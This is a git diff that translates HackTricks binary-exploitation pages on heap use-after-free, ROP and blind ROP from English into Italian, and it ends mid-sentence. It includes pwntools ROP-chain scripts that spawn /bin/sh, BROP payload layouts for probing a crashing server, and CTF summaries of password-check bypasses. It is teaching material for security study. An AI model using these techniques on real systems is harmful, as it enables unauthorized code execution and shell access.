unsorted bin. This bin acts like a list where new freed chunks are added to the front (the "head"). When you request a new chunk of memory, the allocator looks at the unsorted bin from the back (the "tail") to find a chunk that's big enough. If a chunk from the unsorted bin is bigger than what you need, it gets split, with the front part being returned and the remaining part staying in the bin. +Quando si libera un chunk di memoria che non è un fast chunk, va nell'unsorted bin. Questo bin funge da lista in cui i nuovi chunk liberati vengono aggiunti all'inizio (la "testa"). Quando si richiede un nuovo chunk di memoria, l'allocatore guarda l'unsorted bin dalla parte posteriore (la "coda") per trovare un chunk abbastanza grande. Se un chunk dell'unsorted bin è più grande di quanto necessario, viene diviso, con la parte anteriore restituita e la parte rimanente che rimane nel bin. -Example: - -- You allocate 300 bytes (`a`), then 250 bytes (`b`), the free `a` and request again 250 bytes (`c`). -- When you free `a`, it goes to the unsorted bin. -- If you then request 250 bytes again, the allocator finds `a` at the tail and splits it, returning the part that fits your request and keeping the rest in the bin. - - `c` will be pointing to the previous `a` and filled with the `a's`. +Esempio: +- Si allocano 300 byte (`a`), poi 250 byte (`b`), si libera `a` e si richiedono di nuovo 250 byte (`c`). +- Quando si libera `a`, va nell'unsorted bin. +- Se poi si richiedono di nuovo 250 byte, l'allocatore trova `a` alla coda e lo divide, restituendo la parte che soddisfa la richiesta e mantenendo il resto nel bin. +- `c` punterà al precedente `a` e sarà riempito con gli `a's`. ```c char *a = malloc(300); char *b = malloc(250); free(a); char *c = malloc(250); ``` - ### Fastbins -Fastbins are used for small memory chunks. Unlike unsorted bins, fastbins add new chunks to the head, creating a last-in-first-out (LIFO) behavior. If you request a small chunk of memory, the allocator will pull from the fastbin's head. +I fastbins sono utilizzati per piccoli chunk di memoria. A differenza degli unsorted bins, i fastbins aggiungono nuovi chunk all'inizio, creando un comportamento last-in-first-out (LIFO). Se richiedi un piccolo chunk di memoria, l'allocatore preleverà dalla testa del fastbin. -Example: - -- You allocate four chunks of 20 bytes each (`a`, `b`, `c`, `d`). -- When you free them in any order, the freed chunks are added to the fastbin's head. -- If you then request a 20-byte chunk, the allocator will return the most recently freed chunk from the head of the fastbin. +Esempio: +- Allochi quattro chunk di 20 byte ciascuno (`a`, `b`, `c`, `d`). +- Quando li liberi in qualsiasi ordine, i chunk liberati vengono aggiunti alla testa del fastbin. +- Se poi richiedi un chunk di 20 byte, l'allocatore restituirà il chunk liberato più di recente dalla testa del fastbin. ```c char *a = malloc(20); char *b = malloc(20); @@ -48,17 +45,16 @@ b = malloc(20); // c c = malloc(20); // b d = malloc(20); // a ``` - -## Other References & Examples +## Altre Riferimenti & Esempi - [**https://heap-exploitation.dhavalkapil.com/attacks/first_fit**](https://heap-exploitation.dhavalkapil.com/attacks/first_fit) - [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/) - - ARM64. Use after free: Generate an user object, free it, generate an object that gets the freed chunk and allow to write to it, **overwriting the position of user->password** from the previous one. Reuse the user to **bypass the password check** +- ARM64. Use after free: Genera un oggetto utente, liberalo, genera un oggetto che ottiene il chunk liberato e consenti di scriverci, **sovrascrivendo la posizione di user->password** del precedente. Riutilizza l'utente per **bypassare il controllo della password** - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example) - - The program allows to create notes. A note will have the note info in a malloc(8) (with a pointer to a function that could be called) and a pointer to another malloc(\) with the contents of the note. - - The attack would be to create 2 notes (note0 and note1) with bigger malloc contents than the note info size and then free them so they get into the fast bin (or tcache). - - Then, create another note (note2) with content size 8. The content is going to be in note1 as the chunk is going to be reused, were we could modify the function pointer to point to the win function and then Use-After-Free the note1 to call the new function pointer. +- Il programma consente di creare note. Una nota avrà le informazioni della nota in un malloc(8) (con un puntatore a una funzione che potrebbe essere chiamata) e un puntatore a un altro malloc(\) con i contenuti della nota. +- L'attacco consisterebbe nel creare 2 note (note0 e note1) con contenuti malloc più grandi della dimensione delle informazioni della nota e poi liberarle in modo che finiscano nel fast bin (o tcache). +- Poi, crea un'altra nota (note2) con una dimensione del contenuto di 8. Il contenuto andrà in note1 poiché il chunk verrà riutilizzato, dove potremmo modificare il puntatore della funzione per puntare alla funzione win e poi Use-After-Free la note1 per chiamare il nuovo puntatore della funzione. - [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html) - - It's possible to alloc some memory, write the desired value, free it, realloc it and as the previous data is still there, it will treated according the new expected struct in the chunk making possible to set the value ot get the flag. +- È possibile allocare della memoria, scrivere il valore desiderato, liberarlo, riallocarlo e poiché i dati precedenti sono ancora lì, verrà trattato secondo la nuova struttura prevista nel chunk rendendo possibile impostare il valore per ottenere il flag. - [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html) - - In this case it's needed to write 4 inside an specific chunk which is the first one being allocated (even after force freeing all of them). On each new allocated chunk it's number in the array index is stored. Then, allocate 4 chunks (+ the initialy allocated), the last one will have 4 inside of it, free them and force the reallocation of the first one, which will use the last chunk freed which is the one with 4 inside of it. +- In questo caso è necessario scrivere 4 all'interno di un chunk specifico che è il primo ad essere allocato (anche dopo aver forzato la liberazione di tutti). Su ogni nuovo chunk allocato, il suo numero nell'indice dell'array è memorizzato. Poi, allocare 4 chunk (+ quello inizialmente allocato), l'ultimo avrà 4 al suo interno, liberali e forzare la riallocazione del primo, che utilizzerà l'ultimo chunk liberato che è quello con 4 al suo interno. diff --git a/src/binary-exploitation/rop-return-oriented-programing/README.md b/src/binary-exploitation/rop-return-oriented-programing/README.md index 29e21bca5..9efd38167 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/README.md @@ -2,45 +2,44 @@ {{#include ../../banners/hacktricks-training.md}} -## **Basic Information** +## **Informazioni di Base** -**Return-Oriented Programming (ROP)** is an advanced exploitation technique used to circumvent security measures like **No-Execute (NX)** or **Data Execution Prevention (DEP)**. Instead of injecting and executing shellcode, an attacker leverages pieces of code already present in the binary or in loaded libraries, known as **"gadgets"**. Each gadget typically ends with a `ret` instruction and performs a small operation, such as moving data between registers or performing arithmetic operations. By chaining these gadgets together, an attacker can construct a payload to perform arbitrary operations, effectively bypassing NX/DEP protections. +**Return-Oriented Programming (ROP)** è una tecnica di sfruttamento avanzata utilizzata per eludere misure di sicurezza come **No-Execute (NX)** o **Data Execution Prevention (DEP)**. Invece di iniettare ed eseguire shellcode, un attaccante sfrutta pezzi di codice già presenti nel binario o nelle librerie caricate, noti come **"gadgets"**. Ogni gadget termina tipicamente con un'istruzione `ret` e esegue una piccola operazione, come spostare dati tra registri o eseguire operazioni aritmetiche. Collegando insieme questi gadget, un attaccante può costruire un payload per eseguire operazioni arbitrarie, bypassando efficacemente le protezioni NX/DEP. -### How ROP Works +### Come Funziona ROP -1. **Control Flow Hijacking**: First, an attacker needs to hijack the control flow of a program, typically by exploiting a buffer overflow to overwrite a saved return address on the stack. -2. **Gadget Chaining**: The attacker then carefully selects and chains gadgets to perform the desired actions. This could involve setting up arguments for a function call, calling the function (e.g., `system("/bin/sh")`), and handling any necessary cleanup or additional operations. -3. **Payload Execution**: When the vulnerable function returns, instead of returning to a legitimate location, it starts executing the chain of gadgets. +1. **Dirottamento del Flusso di Controllo**: Prima, un attaccante deve dirottare il flusso di controllo di un programma, tipicamente sfruttando un buffer overflow per sovrascrivere un indirizzo di ritorno salvato nello stack. +2. **Collegamento dei Gadget**: L'attaccante seleziona e collega con attenzione i gadget per eseguire le azioni desiderate. Questo potrebbe comportare la configurazione degli argomenti per una chiamata di funzione, chiamare la funzione (ad esempio, `system("/bin/sh")`), e gestire eventuali operazioni di pulizia o aggiuntive necessarie. +3. **Esecuzione del Payload**: Quando la funzione vulnerabile restituisce, invece di tornare a una posizione legittima, inizia a eseguire la catena di gadget. -### Tools +### Strumenti -Typically, gadgets can be found using [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) or directly from **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)). +Tipicamente, i gadget possono essere trovati utilizzando [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) o direttamente da **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)). -## ROP Chain in x86 Example +## Esempio di Catena ROP in x86 -### **x86 (32-bit) Calling conventions** +### **Convenzioni di Chiamata x86 (32-bit)** -- **cdecl**: The caller cleans the stack. Function arguments are pushed onto the stack in reverse order (right-to-left). **Arguments are pushed onto the stack from right to left.** -- **stdcall**: Similar to cdecl, but the callee is responsible for cleaning the stack. +- **cdecl**: Il chiamante pulisce lo stack. Gli argomenti della funzione vengono spinti nello stack in ordine inverso (da destra a sinistra). **Gli argomenti vengono spinti nello stack da destra a sinistra.** +- **stdcall**: Simile a cdecl, ma il chiamato è responsabile della pulizia dello stack. -### **Finding Gadgets** +### **Trovare Gadget** -First, let's assume we've identified the necessary gadgets within the binary or its loaded libraries. The gadgets we're interested in are: +Prima, assumiamo di aver identificato i gadget necessari all'interno del binario o delle sue librerie caricate. I gadget di nostro interesse sono: -- `pop eax; ret`: This gadget pops the top value of the stack into the `EAX` register and then returns, allowing us to control `EAX`. -- `pop ebx; ret`: Similar to the above, but for the `EBX` register, enabling control over `EBX`. -- `mov [ebx], eax; ret`: Moves the value in `EAX` to the memory location pointed to by `EBX` and then returns. This is often called a **write-what-where gadget**. -- Additionally, we have the address of the `system()` function available. +- `pop eax; ret`: Questo gadget estrae il valore superiore dello stack nel registro `EAX` e poi restituisce, permettendoci di controllare `EAX`. +- `pop ebx; ret`: Simile a quello sopra, ma per il registro `EBX`, abilitando il controllo su `EBX`. +- `mov [ebx], eax; ret`: Sposta il valore in `EAX` nella posizione di memoria puntata da `EBX` e poi restituisce. Questo è spesso chiamato un **gadget write-what-where**. +- Inoltre, abbiamo l'indirizzo della funzione `system()` disponibile. -### **ROP Chain** +### **Catena ROP** -Using **pwntools**, we prepare the stack for the ROP chain execution as follows aiming to execute `system('/bin/sh')`, note how the chain starts with: - -1. A `ret` instruction for alignment purposes (optional) -2. Address of `system` function (supposing ASLR disabled and known libc, more info in [**Ret2lib**](ret2lib/)) -3. Placeholder for the return address from `system()` -4. `"/bin/sh"` string address (parameter for system function) +Utilizzando **pwntools**, prepariamo lo stack per l'esecuzione della catena ROP come segue, mirando a eseguire `system('/bin/sh')`, nota come la catena inizia con: +1. Un'istruzione `ret` per motivi di allineamento (opzionale) +2. Indirizzo della funzione `system` (supponendo ASLR disabilitato e libc conosciuta, maggiori informazioni in [**Ret2lib**](ret2lib/)) +3. Segnaposto per l'indirizzo di ritorno da `system()` +4. Indirizzo della stringa `"/bin/sh"` (parametro per la funzione system) ```python from pwn import * @@ -59,10 +58,10 @@ ret_gadget = 0xcafebabe # This could be any gadget that allows us to control th # Construct the ROP chain rop_chain = [ - ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues - system_addr, # Address of system(). Execution will continue here after the ret gadget - 0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place. - bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system() +ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues +system_addr, # Address of system(). Execution will continue here after the ret gadget +0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place. +bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system() ] # Flatten the rop_chain for use @@ -74,28 +73,26 @@ payload = fit({offset: rop_chain}) p.sendline(payload) p.interactive() ``` +## Esempio di ROP Chain in x64 -## ROP Chain in x64 Example +### **Convenzioni di chiamata x64 (64-bit)** -### **x64 (64-bit) Calling conventions** +- Utilizza la convenzione di chiamata **System V AMD64 ABI** sui sistemi simili a Unix, dove i **primi sei argomenti interi o puntatori vengono passati nei registri `RDI`, `RSI`, `RDX`, `RCX`, `R8` e `R9`**. Argomenti aggiuntivi vengono passati nello stack. Il valore di ritorno è posizionato in `RAX`. +- La convenzione di chiamata **Windows x64** utilizza `RCX`, `RDX`, `R8` e `R9` per i primi quattro argomenti interi o puntatori, con argomenti aggiuntivi passati nello stack. Il valore di ritorno è posizionato in `RAX`. +- **Registri**: i registri a 64 bit includono `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` e `R8` a `R15`. -- Uses the **System V AMD64 ABI** calling convention on Unix-like systems, where the **first six integer or pointer arguments are passed in the registers `RDI`, `RSI`, `RDX`, `RCX`, `R8`, and `R9`**. Additional arguments are passed on the stack. The return value is placed in `RAX`. -- **Windows x64** calling convention uses `RCX`, `RDX`, `R8`, and `R9` for the first four integer or pointer arguments, with additional arguments passed on the stack. The return value is placed in `RAX`. -- **Registers**: 64-bit registers include `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, and `R8` to `R15`. +#### **Trovare Gadget** -#### **Finding Gadgets** +Per il nostro scopo, concentriamoci sui gadget che ci permetteranno di impostare il registro **RDI** (per passare la stringa **"/bin/sh"** come argomento a **system()**) e poi chiamare la funzione **system()**. Assumeremo di aver identificato i seguenti gadget: -For our purpose, let's focus on gadgets that will allow us to set the **RDI** register (to pass the **"/bin/sh"** string as an argument to **system()**) and then call the **system()** function. We'll assume we've identified the following gadgets: +- **pop rdi; ret**: Estrae il valore superiore dello stack in **RDI** e poi restituisce. Essenziale per impostare il nostro argomento per **system()**. +- **ret**: Un semplice ritorno, utile per l'allineamento dello stack in alcune situazioni. -- **pop rdi; ret**: Pops the top value of the stack into **RDI** and then returns. Essential for setting our argument for **system()**. -- **ret**: A simple return, useful for stack alignment in some scenarios. - -And we know the address of the **system()** function. +E sappiamo l'indirizzo della funzione **system()**. ### **ROP Chain** -Below is an example using **pwntools** to set up and execute a ROP chain aiming to execute **system('/bin/sh')** on **x64**: - +Di seguito è riportato un esempio che utilizza **pwntools** per impostare ed eseguire una ROP chain mirata a eseguire **system('/bin/sh')** su **x64**: ```python from pwn import * @@ -115,10 +112,10 @@ ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary # Construct the ROP chain rop_chain = [ - ret_gadget, # Alignment gadget, if needed - pop_rdi_gadget, # pop rdi; ret - bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system() - system_addr # Address of system(). Execution will continue here. +ret_gadget, # Alignment gadget, if needed +pop_rdi_gadget, # pop rdi; ret +bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system() +system_addr # Address of system(). Execution will continue here. ] # Flatten the rop_chain for use @@ -130,66 +127,65 @@ payload = fit({offset: rop_chain}) p.sendline(payload) p.interactive() ``` +In questo esempio: -In this example: +- Utilizziamo il gadget **`pop rdi; ret`** per impostare **`RDI`** all'indirizzo di **`"/bin/sh"`**. +- Saltiamo direttamente a **`system()`** dopo aver impostato **`RDI`**, con l'indirizzo di **system()** nella catena. +- **`ret_gadget`** è utilizzato per l'allineamento se l'ambiente di destinazione lo richiede, il che è più comune in **x64** per garantire un corretto allineamento dello stack prima di chiamare le funzioni. -- We utilize the **`pop rdi; ret`** gadget to set **`RDI`** to the address of **`"/bin/sh"`**. -- We directly jump to **`system()`** after setting **`RDI`**, with **system()**'s address in the chain. -- **`ret_gadget`** is used for alignment if the target environment requires it, which is more common in **x64** to ensure proper stack alignment before calling functions. +### Allineamento dello Stack -### Stack Alignment +**L'ABI x86-64** garantisce che lo **stack sia allineato a 16 byte** quando viene eseguita un'**istruzione di chiamata**. **LIBC**, per ottimizzare le prestazioni, **utilizza istruzioni SSE** (come **movaps**) che richiedono questo allineamento. Se lo stack non è allineato correttamente (significa che **RSP** non è un multiplo di 16), le chiamate a funzioni come **system** falliranno in una **catena ROP**. Per risolvere questo problema, basta aggiungere un **gadget ret** prima di chiamare **system** nella tua catena ROP. -**The x86-64 ABI** ensures that the **stack is 16-byte aligned** when a **call instruction** is executed. **LIBC**, to optimize performance, **uses SSE instructions** (like **movaps**) which require this alignment. If the stack isn't aligned properly (meaning **RSP** isn't a multiple of 16), calls to functions like **system** will fail in a **ROP chain**. To fix this, simply add a **ret gadget** before calling **system** in your ROP chain. - -## x86 vs x64 main difference +## Differenza principale tra x86 e x64 > [!TIP] -> Since **x64 uses registers for the first few arguments,** it often requires fewer gadgets than x86 for simple function calls, but finding and chaining the right gadgets can be more complex due to the increased number of registers and the larger address space. The increased number of registers and the larger address space in **x64** architecture provide both opportunities and challenges for exploit development, especially in the context of Return-Oriented Programming (ROP). +> Poiché **x64 utilizza registri per i primi argomenti,** richiede spesso meno gadget rispetto a x86 per chiamate di funzione semplici, ma trovare e concatenare i gadget giusti può essere più complesso a causa del numero maggiore di registri e dello spazio degli indirizzi più ampio. L'aumento del numero di registri e dello spazio degli indirizzi più ampio nell'architettura **x64** offre sia opportunità che sfide per lo sviluppo di exploit, specialmente nel contesto della Programmazione Orientata al Ritorno (ROP). -## ROP chain in ARM64 Example +## Esempio di catena ROP in ARM64 -### **ARM64 Basics & Calling conventions** +### **Nozioni di base ARM64 e convenzioni di chiamata** -Check the following page for this information: +Controlla la pagina seguente per queste informazioni: {{#ref}} ../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} -## Protections Against ROP +## Protezioni contro ROP -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): These protections makes harder the use of ROP as the addresses of the gadgets changes between execution. -- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): In of a BOF, it's needed to bypass the stores stack canary to overwrite return pointers to abuse a ROP chain -- **Lack of Gadgets**: If there aren't enough gadgets it won't be possible to generate a ROP chain. +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): Queste protezioni rendono più difficile l'uso di ROP poiché gli indirizzi dei gadget cambiano tra le esecuzioni. +- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): In caso di un BOF, è necessario bypassare lo stack canary per sovrascrivere i puntatori di ritorno per abusare di una catena ROP. +- **Mancanza di Gadget**: Se non ci sono abbastanza gadget, non sarà possibile generare una catena ROP. -## ROP based techniques +## Tecniche basate su ROP -Notice that ROP is just a technique in order to execute arbitrary code. Based in ROP a lot of Ret2XXX techniques were developed: +Nota che ROP è solo una tecnica per eseguire codice arbitrario. Basato su ROP, sono state sviluppate molte tecniche Ret2XXX: -- **Ret2lib**: Use ROP to call arbitrary functions from a loaded library with arbitrary parameters (usually something like `system('/bin/sh')`. +- **Ret2lib**: Usa ROP per chiamare funzioni arbitrarie da una libreria caricata con parametri arbitrari (di solito qualcosa come `system('/bin/sh')`. {{#ref}} ret2lib/ {{#endref}} -- **Ret2Syscall**: Use ROP to prepare a call to a syscall, e.g. `execve`, and make it execute arbitrary commands. +- **Ret2Syscall**: Usa ROP per preparare una chiamata a una syscall, ad esempio `execve`, e farla eseguire comandi arbitrari. {{#ref}} rop-syscall-execv/ {{#endref}} -- **EBP2Ret & EBP Chaining**: The first will abuse EBP instead of EIP to control the flow and the second is similar to Ret2lib but in this case the flow is controlled mainly with EBP addresses (although t's also needed to control EIP). +- **EBP2Ret & EBP Chaining**: Il primo abuserà di EBP invece di EIP per controllare il flusso e il secondo è simile a Ret2lib, ma in questo caso il flusso è controllato principalmente con indirizzi EBP (anche se è necessario controllare EIP). {{#ref}} ../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md {{#endref}} -## Other Examples & References +## Altri Esempi e Riferimenti - [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions) - [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html) - - 64 bit, Pie and nx enabled, no canary, overwrite RIP with a `vsyscall` address with the sole purpose or return to the next address in the stack which will be a partial overwrite of the address to get the part of the function that leaks the flag +- 64 bit, Pie e nx abilitati, senza canary, sovrascrivere RIP con un indirizzo `vsyscall` con l'unico scopo di tornare all'indirizzo successivo nello stack che sarà una sovrascrittura parziale dell'indirizzo per ottenere la parte della funzione che rivela il flag. - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) - - arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack +- arm64, senza ASLR, gadget ROP per rendere lo stack eseguibile e saltare al shellcode nello stack. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md b/src/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md index 94d93bd6f..b5d18fe6a 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md +++ b/src/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md @@ -2,123 +2,123 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di base -The goal of this attack is to be able to **abuse a ROP via a buffer overflow without any information about the vulnerable binary**.\ -This attack is based on the following scenario: +L'obiettivo di questo attacco è essere in grado di **sfruttare un ROP tramite un buffer overflow senza alcuna informazione sul binario vulnerabile**.\ +Questo attacco si basa sul seguente scenario: -- A stack vulnerability and knowledge of how to trigger it. -- A server application that restarts after a crash. +- Una vulnerabilità nello stack e conoscenza di come attivarla. +- Un'applicazione server che si riavvia dopo un crash. -## Attack +## Attacco -### **1. Find vulnerable offset** sending one more character until a malfunction of the server is detected +### **1. Trova l'offset vulnerabile** inviando un carattere in più fino a quando non viene rilevato un malfunzionamento del server -### **2. Brute-force canary** to leak it +### **2. Brute-force canary** per rivelarlo -### **3. Brute-force stored RBP and RIP** addresses in the stack to leak them +### **3. Brute-force indirizzi RBP e RIP** memorizzati nello stack per rivelarli -You can find more information about these processes [here (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) and [here (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md). +Puoi trovare ulteriori informazioni su questi processi [qui (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) e [qui (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md). -### **4. Find the stop gadget** +### **4. Trova il gadget di stop** -This gadget basically allows to confirm that something interesting was executed by the ROP gadget because the execution didn't crash. Usually, this gadget is going to be something that **stops the execution** and it's positioned at the end of the ROP chain when looking for ROP gadgets to confirm a specific ROP gadget was executed +Questo gadget consente fondamentalmente di confermare che qualcosa di interessante è stato eseguito dal gadget ROP perché l'esecuzione non è andata in crash. Di solito, questo gadget sarà qualcosa che **ferma l'esecuzione** ed è posizionato alla fine della catena ROP quando si cercano gadget ROP per confermare che un specifico gadget ROP è stato eseguito. -### **5. Find BROP gadget** +### **5. Trova il gadget BROP** -This technique uses the [**ret2csu**](ret2csu.md) gadget. And this is because if you access this gadget in the middle of some instructions you get gadgets to control **`rsi`** and **`rdi`**: +Questa tecnica utilizza il gadget [**ret2csu**](ret2csu.md). E questo perché se accedi a questo gadget nel mezzo di alcune istruzioni ottieni gadget per controllare **`rsi`** e **`rdi`**:

https://www.scs.stanford.edu/brop/bittau-brop.pdf

-These would be the gadgets: +Questi sarebbero i gadget: - `pop rsi; pop r15; ret` - `pop rdi; ret` -Notice how with those gadgets it's possible to **control 2 arguments** of a function to call. +Nota come con questi gadget sia possibile **controllare 2 argomenti** di una funzione da chiamare. -Also, notice that the ret2csu gadget has a **very unique signature** because it's going to be poping 6 registers from the stack. SO sending a chain like: +Inoltre, nota che il gadget ret2csu ha una **firma molto unica** perché andrà a poppare 6 registri dallo stack. Quindi inviando una catena come: `'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP` -If the **STOP is executed**, this basically means an **address that is popping 6 registers** from the stack was used. Or that the address used was also a STOP address. +Se il **STOP viene eseguito**, questo significa fondamentalmente che è stato utilizzato un **indirizzo che sta poppando 6 registri** dallo stack. Oppure che l'indirizzo utilizzato era anche un indirizzo STOP. -In order to **remove this last option** a new chain like the following is executed and it must not execute the STOP gadget to confirm the previous one did pop 6 registers: +Per **rimuovere quest'ultima opzione**, viene eseguita una nuova catena come la seguente e non deve eseguire il gadget STOP per confermare che il precedente ha effettivamente poppato 6 registri: `'A' * offset + canary + rbp + ADDR` -Knowing the address of the ret2csu gadget, it's possible to **infer the address of the gadgets to control `rsi` and `rdi`**. +Conoscendo l'indirizzo del gadget ret2csu, è possibile **inferire l'indirizzo dei gadget per controllare `rsi` e `rdi`**. -### 6. Find PLT +### 6. Trova il PLT -The PLT table can be searched from 0x400000 or from the **leaked RIP address** from the stack (if **PIE** is being used). The **entries** of the table are **separated by 16B** (0x10B), and when one function is called the server doesn't crash even if the arguments aren't correct. Also, checking the address of a entry in the **PLT + 6B also doesn't crash** as it's the first code executed. +La tabella PLT può essere cercata da 0x400000 o dall'**indirizzo RIP rivelato** dallo stack (se **PIE** è in uso). Le **voci** della tabella sono **separate da 16B** (0x10B), e quando una funzione viene chiamata il server non va in crash anche se gli argomenti non sono corretti. Inoltre, controllare l'indirizzo di una voce nella **PLT + 6B non va in crash** poiché è il primo codice eseguito. -Therefore, it's possible to find the PLT table checking the following behaviours: +Pertanto, è possibile trovare la tabella PLT controllando i seguenti comportamenti: -- `'A' * offset + canary + rbp + ADDR + STOP` -> no crash -- `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> no crash -- `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> no crash +- `'A' * offset + canary + rbp + ADDR + STOP` -> nessun crash +- `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> nessun crash +- `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> nessun crash -### 7. Finding strcmp +### 7. Trovare strcmp -The **`strcmp`** function sets the register **`rdx`** to the length of the string being compared. Note that **`rdx`** is the **third argument** and we need it to be **bigger than 0** in order to later use `write` to leak the program. +La funzione **`strcmp`** imposta il registro **`rdx`** sulla lunghezza della stringa che viene confrontata. Nota che **`rdx`** è il **terzo argomento** e abbiamo bisogno che sia **maggiore di 0** per poter utilizzare successivamente `write` per rivelare il programma. -It's possible to find the location of **`strcmp`** in the PLT based on its behaviour using the fact that we can now control the 2 first arguments of functions: +È possibile trovare la posizione di **`strcmp`** nella PLT in base al suo comportamento utilizzando il fatto che ora possiamo controllare i 2 primi argomenti delle funzioni: - strcmp(\, \) -> crash - strcmp(\, \) -> crash - strcmp(\, \) -> crash -- strcmp(\, \) -> no crash +- strcmp(\, \) -> nessun crash -It's possible to check for this by calling each entry of the PLT table or by using the **PLT slow path** which basically consist on **calling an entry in the PLT table + 0xb** (which calls to **`dlresolve`**) followed in the stack by the **entry number one wishes to probe** (starting at zero) to scan all PLT entries from the first one: +È possibile controllare questo chiamando ciascuna voce della tabella PLT o utilizzando il **PLT slow path** che consiste fondamentalmente nel **chiamare una voce nella tabella PLT + 0xb** (che chiama **`dlresolve`**) seguita nello stack dal **numero di voce che si desidera sondare** (partendo da zero) per esaminare tutte le voci PLT dalla prima: - strcmp(\, \) -> crash - - `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Will crash +- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Andrà in crash - strcmp(\, \) -> crash - - `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -- strcmp(\, \) -> no crash - - `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` +- `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` +- strcmp(\, \) -> nessun crash +- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -Remember that: +Ricorda che: -- BROP + 0x7 point to **`pop RSI; pop R15; ret;`** -- BROP + 0x9 point to **`pop RDI; ret;`** -- PLT + 0xb point to a call to **dl_resolve**. +- BROP + 0x7 punta a **`pop RSI; pop R15; ret;`** +- BROP + 0x9 punta a **`pop RDI; ret;`** +- PLT + 0xb punta a una chiamata a **dl_resolve**. -Having found `strcmp` it's possible to set **`rdx`** to a value bigger than 0. +Avendo trovato `strcmp`, è possibile impostare **`rdx`** su un valore maggiore di 0. > [!TIP] -> Note that usually `rdx` will host already a value bigger than 0, so this step might not be necesary. +> Nota che di solito `rdx` avrà già un valore maggiore di 0, quindi questo passaggio potrebbe non essere necessario. -### 8. Finding Write or equivalent +### 8. Trovare Write o equivalente -Finally, it's needed a gadget that exfiltrates data in order to exfiltrate the binary. And at this moment it's possible to **control 2 arguments and set `rdx` bigger than 0.** +Infine, è necessario un gadget che esfiltri i dati per esfiltrare il binario. E in 